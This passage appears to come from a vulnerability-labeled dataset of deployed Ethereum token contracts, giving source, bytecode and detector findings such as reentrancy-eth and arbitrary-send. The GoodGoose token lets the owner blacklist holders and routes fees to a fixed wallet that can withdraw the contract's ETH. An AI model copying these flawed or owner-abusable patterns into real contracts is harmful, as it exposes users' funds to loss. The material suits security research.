3565b50600a5461206590683635c9adc5dea00000611a65565b82101561208457600a54683635c9adc5dea0000093509350505061208a565b90925090505b9091565b60008060008060008060008060006120ab8a600c54600d54612233565b92509250925060006120bb611bc3565b905060008060006120ce8e878787612282565b919e509c509a509598509396509194505050505091939550919395565b60006117bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611648565b6000828201838110156117bd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000612191611bc3565b9050600061219f8383611a0c565b306000908152600260205260409020549091506121bc908261212d565b3060009081526002602090815260408083209390935560069052205460ff1615610f8757306000908152600360205260409020546121fa908461212d565b30600090815260036020526040902055505050565b600a5461221c90836120eb565b600a55600b5461222c908261212d565b600b555050565b600080808061224760646110638989611a0c565b9050600061225a60646110638a89611a0c565b905060006122728261226c8b866120eb565b906120eb565b9992985090965090945050505050565b60008080806122918886611a0c565b9050600061229f8887611a0c565b905060006122ad8888611a0c565b905060006122bf8261226c86866120eb565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201c239a80a5d5739a337d4069ede8f8a7f967ebb796856ae50115572fff42606064736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,645 |
0xea1f7883e7316cea2b868765a547310a26439909 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GoodGoose is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "GoodGooseToken";
string private constant _symbol = "GG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x6D76978F10AA81cDb935B85360463287A588B0c1);
_feeAddrWallet2 = payable(0x6D76978F10AA81cDb935B85360463287A588B0c1);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unlimitbuy() public onlyOwner {
_maxTxAmount = 10000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102e7578063b515566a14610307578063c3c8cd8014610327578063c9567bf91461033c578063dd62ed3e1461035157600080fd5b806370a082311461025f578063715018a61461027f5780638da5cb5b1461029457806395d89b41146102bc57600080fd5b8063273123b7116100dc578063273123b7146101d7578063313ce567146101f957806357a9f4d0146102155780635932ead11461022a5780636fc3eaec1461024a57600080fd5b806306fdde0314610119578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600e81526d23b7b7b223b7b7b9b2aa37b5b2b760911b60208201525b604051610159919061180f565b60405180910390f35b34801561016e57600080fd5b5061018261017d3660046116af565b610397565b6040519015158152602001610159565b34801561019e57600080fd5b50678ac7230489e800005b604051908152602001610159565b3480156101c357600080fd5b506101826101d236600461166e565b6103ae565b3480156101e357600080fd5b506101f76101f23660046115fb565b610417565b005b34801561020557600080fd5b5060405160098152602001610159565b34801561022157600080fd5b506101f761046b565b34801561023657600080fd5b506101f76102453660046117a7565b6104a3565b34801561025657600080fd5b506101f76104eb565b34801561026b57600080fd5b506101a961027a3660046115fb565b610518565b34801561028b57600080fd5b506101f761053a565b3480156102a057600080fd5b506000546040516001600160a01b039091168152602001610159565b3480156102c857600080fd5b50604080518082019091526002815261474760f01b602082015261014c565b3480156102f357600080fd5b506101826103023660046116af565b6105ae565b34801561031357600080fd5b506101f76103223660046116db565b6105bb565b34801561033357600080fd5b506101f7610651565b34801561034857600080fd5b506101f7610687565b34801561035d57600080fd5b506101a961036c366004611635565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103a4338484610a49565b5060015b92915050565b60006103bb848484610b6d565b61040d8433610408856040518060600160405280602881526020016119fb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610eba565b610a49565b5060019392505050565b6000546001600160a01b0316331461044a5760405162461bcd60e51b815260040161044190611864565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104955760405162461bcd60e51b815260040161044190611864565b678ac7230489e80000601055565b6000546001600160a01b031633146104cd5760405162461bcd60e51b815260040161044190611864565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050b57600080fd5b4761051581610ef4565b50565b6001600160a01b0381166000908152600260205260408120546103a890610f79565b6000546001600160a01b031633146105645760405162461bcd60e51b815260040161044190611864565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a4338484610b6d565b6000546001600160a01b031633146105e55760405162461bcd60e51b815260040161044190611864565b60005b815181101561064d57600160066000848481518110610609576106096119ab565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106458161197a565b9150506105e8565b5050565b600c546001600160a01b0316336001600160a01b03161461067157600080fd5b600061067c30610518565b905061051581610ffd565b6000546001600160a01b031633146106b15760405162461bcd60e51b815260040161044190611864565b600f54600160a01b900460ff161561070b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610441565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107473082678ac7230489e80000610a49565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561078057600080fd5b505afa158015610794573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b89190611618565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561080057600080fd5b505afa158015610814573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108389190611618565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561088057600080fd5b505af1158015610894573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b89190611618565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108e881610518565b6000806108fd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561096057600080fd5b505af1158015610974573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099991906117e1565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a1157600080fd5b505af1158015610a25573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d91906117c4565b6001600160a01b038316610aab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610441565b6001600160a01b038216610b0c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610441565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610441565b6001600160a01b038216610c335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610441565b60008111610c955760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610441565b6002600a556008600b556000546001600160a01b03848116911614801590610ccb57506000546001600160a01b03838116911614155b15610eaa576001600160a01b03831660009081526006602052604090205460ff16158015610d1257506001600160a01b03821660009081526006602052604090205460ff16155b610d1b57600080fd5b600f546001600160a01b038481169116148015610d465750600e546001600160a01b03838116911614155b8015610d6b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d805750600f54600160b81b900460ff165b15610ddd57601054811115610d9457600080fd5b6001600160a01b0382166000908152600760205260409020544211610db857600080fd5b610dc342601e61190a565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e085750600e546001600160a01b03848116911614155b8015610e2d57506001600160a01b03831660009081526005602052604090205460ff16155b15610e3d576002600a908155600b555b6000610e4830610518565b600f54909150600160a81b900460ff16158015610e735750600f546001600160a01b03858116911614155b8015610e885750600f54600160b01b900460ff165b15610ea857610e9681610ffd565b478015610ea657610ea647610ef4565b505b505b610eb5838383611186565b505050565b60008184841115610ede5760405162461bcd60e51b8152600401610441919061180f565b506000610eeb8486611963565b95945050505050565b600c546001600160a01b03166108fc610f0e836002611191565b6040518115909202916000818181858888f19350505050158015610f36573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f51836002611191565b6040518115909202916000818181858888f1935050505015801561064d573d6000803e3d6000fd5b6000600854821115610fe05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610441565b6000610fea6111d3565b9050610ff68382611191565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611045576110456119ab565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109957600080fd5b505afa1580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d19190611618565b816001815181106110e4576110e46119ab565b6001600160a01b039283166020918202929092010152600e5461110a9130911684610a49565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611143908590600090869030904290600401611899565b600060405180830381600087803b15801561115d57600080fd5b505af1158015611171573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610eb58383836111f6565b6000610ff683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ed565b60008060006111e061131b565b90925090506111ef8282611191565b9250505090565b6000806000806000806112088761135b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123a90876113b8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126990866113fa565b6001600160a01b03891660009081526002602052604090205561128b81611459565b61129584836114a3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112da91815260200190565b60405180910390a3505050505050505050565b6000818361130e5760405162461bcd60e51b8152600401610441919061180f565b506000610eeb8486611922565b6008546000908190678ac7230489e800006113368282611191565b82101561135257505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113788a600a54600b546114c7565b92509250925060006113886111d3565b9050600080600061139b8e87878761151c565b919e509c509a509598509396509194505050505091939550919395565b6000610ff683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eba565b600080611407838561190a565b905083811015610ff65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610441565b60006114636111d3565b90506000611471838361156c565b3060009081526002602052604090205490915061148e90826113fa565b30600090815260026020526040902055505050565b6008546114b090836113b8565b6008556009546114c090826113fa565b6009555050565b60008080806114e160646114db898961156c565b90611191565b905060006114f460646114db8a8961156c565b9050600061150c826115068b866113b8565b906113b8565b9992985090965090945050505050565b600080808061152b888661156c565b90506000611539888761156c565b90506000611547888861156c565b905060006115598261150686866113b8565b939b939a50919850919650505050505050565b60008261157b575060006103a8565b60006115878385611944565b9050826115948583611922565b14610ff65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610441565b80356115f6816119d7565b919050565b60006020828403121561160d57600080fd5b8135610ff6816119d7565b60006020828403121561162a57600080fd5b8151610ff6816119d7565b6000806040838503121561164857600080fd5b8235611653816119d7565b91506020830135611663816119d7565b809150509250929050565b60008060006060848603121561168357600080fd5b833561168e816119d7565b9250602084013561169e816119d7565b929592945050506040919091013590565b600080604083850312156116c257600080fd5b82356116cd816119d7565b946020939093013593505050565b600060208083850312156116ee57600080fd5b823567ffffffffffffffff8082111561170657600080fd5b818501915085601f83011261171a57600080fd5b81358181111561172c5761172c6119c1565b8060051b604051601f19603f83011681018181108582111715611751576117516119c1565b604052828152858101935084860182860187018a101561177057600080fd5b600095505b8386101561179a57611786816115eb565b855260019590950194938601938601611775565b5098975050505050505050565b6000602082840312156117b957600080fd5b8135610ff6816119ec565b6000602082840312156117d657600080fd5b8151610ff6816119ec565b6000806000606084860312156117f657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561183c57858101830151858201604001528201611820565b8181111561184e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e95784516001600160a01b0316835293830193918301916001016118c4565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561191d5761191d611995565b500190565b60008261193f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561195e5761195e611995565b500290565b60008282101561197557611975611995565b500390565b600060001982141561198e5761198e611995565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051557600080fd5b801515811461051557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ead297d2b33e182ebef7f6b4c49bfe0940358a3a027c96d4c6fbd042c6f523ad64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,646 |
0xf6bc5ddb21b22b76a31c719a8ae904232055d876 | pragma solidity 0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "overflow in multiplies operation.");
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "b must be greater than zero.");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "a must be greater than b or equal to b.");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "c must be greater than b or equal to a.");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "b must not be zero.");
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "only for owner.");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "address is zero.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Paused.");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Not paused.");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract Token is IERC20, Pausable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals
) public {
// Set the name for display purposes
_name = tokenName;
// Set the symbol for display purposes
_symbol = tokenSymbol;
// Set the decimal for display purposes
_decimals = tokenDecimals;
// Update total supply with the decimal amount
_totalSupply = initialSupply * (10 ** uint256(_decimals));
// Give the creator all initial tokens
_balances[msg.sender] = _totalSupply;
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
require(spender != address(0), "address is zero.");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
